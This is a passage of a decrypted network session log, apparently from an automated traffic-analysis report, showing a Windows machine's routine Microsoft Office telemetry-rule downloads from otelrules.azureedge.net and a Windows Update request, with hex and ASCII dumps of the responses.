encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120128Z-1866b5c5fbbvz6qbhC1DFWsyms00000001vg00000000d1w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120128Z-16547b76f7f9bs6dhC1DFWt3rg0000000pfg00000000chkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120128Z-16547b76f7fw2955hC1DFWsptc000000035g00000000azek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120128Z-164f84587bftbpb6hC1DFWm4kg00000001mg000000002fb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120129Z-16547b76f7fht2hfhC1DFWbngg0000000360000000004u85 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120129Z-1866b5c5fbb2t6txhC1DFWa2qc00000002pg00000000c5wn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 2028dee8-601e-0097-4b81-37f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120129Z-16547b76f7f76p6chC1DFWctqw0000000pmg00000000c7az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120129Z-16547b76f7fd4rc5hC1DFWkzhw0000000350000000000sa0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120129Z-16547b76f7fp6mhthC1DFWrggn0000000pt0000000002ksn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49756	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:29 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CmdA3STzZDpZ5vo&MD=DuZ4CS8E HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 12:01:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3a367192-2765-492c-a87f-67954e3945af MS-RequestId: 46c0d95d-19d8-417b-a9a2-1b73490d7e7c MS-CV: Fbwn4wuAikOeIga5.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 12:01:29 GMT Connection: close Content-Length: 24490
2024-11-16 12:01:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-16 12:01:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120130Z-1866b5c5fbb2t6txhC1DFWa2qc00000002ug0000000034dm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
